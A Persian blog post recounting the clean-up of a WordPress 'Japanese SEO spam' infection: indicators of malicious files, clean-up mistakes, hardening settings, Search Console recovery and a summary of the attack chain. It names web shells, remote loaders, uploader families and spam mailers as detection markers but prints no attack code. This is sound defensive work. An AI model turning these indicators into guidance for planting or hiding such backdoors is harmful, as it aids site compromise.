هیچ فایل هسته، افزونه یا قالبی فقط بهدلیل یک عبارت عمومی حذف نشود.

نشانههای قویتر عبارتاند از:

  • Hash قطعی

  • نام تصادفی همراه با محتوای Obfuscated

  • فایل PHP در uploads

  • eval همراه با Payload طولانی

  • نسخه یکسان فایل در چند مسیر نامرتبط

  • Remote URL ناشناس

  • File Manager یا Command Runner بدون احراز هویت

  • زمان ساخت نزدیک به زمان حمله


اشتباههایی که میتوانست پاکسازی را ناقص کند

فقط حذف index.php آلوده

با حذف کد داخل index.php، Cloaking متوقف شد؛ اما Backdoorهای دیگر همچنان وجود داشتند.

فقط اسکن public_html

بخش زیادی از فایلهای مخرب در مسیرهای خارج از public_html بودند.

اعتماد کامل به نتیجه صفر یک اسکنر

اسکن اول خانواده ejrJa8.php را پیدا نکرد، چون امضای متفاوتی داشت.

Overwriteکردن هسته بدون حذف پوشههای قبلی

فایلهای اضافی مهاجم ممکن است در wp-admin و wp-includes باقی بمانند.

حذف همه فایلهای مشکوک براساس نام

نامهایی مانند index.php، admin.php و shadow ممکن است قانونی باشند. مسیر و محتوا مهمتر از نام است.

نصب چند افزونه امنیتی همزمان

چند Firewall یا Malware Scanner میتوانند باعث تداخل، مصرف منابع و قفلشدن سایت شوند.

نگهداشتن اسکنر در public_html

اسکنرهای موقت خودشان اطلاعات حساس مسیرها را نمایش میدهند. پس از پایان کار باید حذف شوند.


اقدامات پیشگیرانه بعد از پاکسازی

مسدودکردن اجرای PHP در uploads

داخل فایل زیر:

wp-content/uploads/.htaccess

این تنظیم قرار گرفت:

<FilesMatch "\.(php|php[0-9]+|phtml|phar)$"> <IfModule mod_authz_core.c> Require all denied </IfModule> <IfModule !mod_authz_core.c> Deny from all </IfModule> </FilesMatch> <IfModule mod_mime.c> RemoveHandler .php .phtml .phar RemoveType .php .phtml .phar </IfModule>

این قانون مانع اجرای مستقیم فایل PHP داخل پوشه آپلودها میشود.

بستن ویرایشگر فایل وردپرس

در wp-config.php:

define('DISALLOW_FILE_EDIT', true);

غیرفعالکردن Debug در محیط واقعی

define('WP_DEBUG', false); define('WP_DEBUG_LOG', false); define('WP_DEBUG_DISPLAY', false);

اجبار SSL برای مدیریت

define('FORCE_SSL_ADMIN', true);

Permission مناسب

Directory: 755 File: 644 wp-config.php: 440 یا 640

هیچ فایل یا پوشهای نباید 777 باشد.

نصب مجدد افزونهها و قالبها

افزونه و قالب موجود صرفاً Update نشوند. پوشه قدیمی حذف و نسخه سالم رسمی نصب شود.

این موضوع مخصوصاً برای موارد زیر مهم است:

WP Rocket Code Snippets WPCode WooCommerce Elementor Rank Math Slider Revolution Woodmart

فعالسازی ورود دومرحلهای

برای:

cPanel WordPress Admin Email Cloudflare

بررسی دسترسیهای هاست

FTP Accounts SSH Keys API Tokens Email Forwarders Email Filters Application Passwords Cron Jobs

فعالکردن ModSecurity و اسکن سرور

از هاستینگ درخواست شود:

ModSecurity OWASP CRS ImunifyAV+ Imunify360 Scheduled Malware Scan Email Alert CloudLinux CageFS Account Isolation

اقدامات مربوط به گوگل بعد از پاکسازی

پاکشدن فایلها به معنی حذف فوری نتایج اسپم از گوگل نیست.

بعد از پاکسازی باید:

  1. Sitemap واقعی بررسی شود.

  2. Sitemap دوباره در Search Console ثبت شود.

  3. صفحه اصلی با Live Test آزمایش شود.

  4. URLهای /prizes/ پاسخ 404 یا 410 بدهند.

  5. URLهای جعلی در ابزار Removals موقتاً مخفی شوند.

  6. صفحات اصلی Request Indexing شوند.

  7. گزارش Pages و Crawled Currently Not Indexed بررسی شود.

  8. Favicon و Title جدید دوباره Crawl شوند.

  9. Server Log برای درخواستهای قدیمی Googlebot بررسی شود.

بازگشت Googlebot به URLهای اسپم قدیمی طبیعی است. مهم این است که دیگر محتوای ژاپنی یا پاسخ 200 دریافت نکند.


جمعبندی تجربه

این آلودگی فقط یک «هک ژاپنی ساده» نبود.

ساختار حمله چندلایه بود:

Remote Loader در index.php ↓ Cloaking برای Googlebot ↓ Sitemap و URL جعلی ↓ Backdoor در ریشه سایت ↓ Uploaderهای BDKR28 و Priv1337 ↓ Leaf PHPMailer برای ارسال اسپم ↓ Web Shell با اجرای Command ↓ Payloadهای مخفی در uploads ↓ کپی بدافزار در tmp، ssl، etc و public_ftp ↓ ۱۲ نسخه Loader داخل wp-admin و wp-includes

مهمترین درسها:

  • ظاهر سالم سایت دلیل سالمبودن آن نیست.

  • Google Search Console میتواند اولین محل کشف Cloaking باشد.

  • نبودن محتوا در دیتابیس، آلودگی فایلها را رد نمیکند.

  • فقط public_html را اسکن نکنید.

  • فقط نام فایل را بررسی نکنید.

  • فقط به یک اسکنر اعتماد نکنید.

  • پوشههای هسته را قبل از نصب نسخه سالم حذف کنید.

  • PHP داخل uploads را جدی بگیرید.

  • Hash و Marker هر دو مفیدند، اما رفتار فایل مهمتر است.

  • فایلهای خارج از Web Root نیز میتوانند Persistence ایجاد کنند.

  • بعد از حذف بدافزار، رمزها و دسترسیها باید تغییر کنند.

  • بدون مانیتورینگ و بکاپ خارج از هاست، پاکسازی کامل نیست.

در این پرونده، پاکسازی واقعی زمانی کامل شد که:

اسکن خانواده 85049c1f2be10d: صفر اسکن Loader رمزگذاریشده: صفر اسکن دیتابیس: صفر Cron Job مشکوک: صفر auto_prepend_file مشکوک: صفر کاربر مدیر ناشناس: صفر Google Live Test: نسخه واقعی سایت

این تجربه نشان داد که برای حل هک ژاپنی وردپرس، نباید فقط روی صفحهای که گوگل نشان میدهد تمرکز کرد. باید زنجیره کامل آلودگی، از اولین فایل اجراشونده تا آخرین Backdoor پنهان در اکانت هاست، شناسایی و قطع شود.

ویروس چینیهک وردپرسوردپرسسئو
۴
۰
mohammad ghanimi
mohammad ghanimi
شاید از این پست‌ها خوشتان بیاید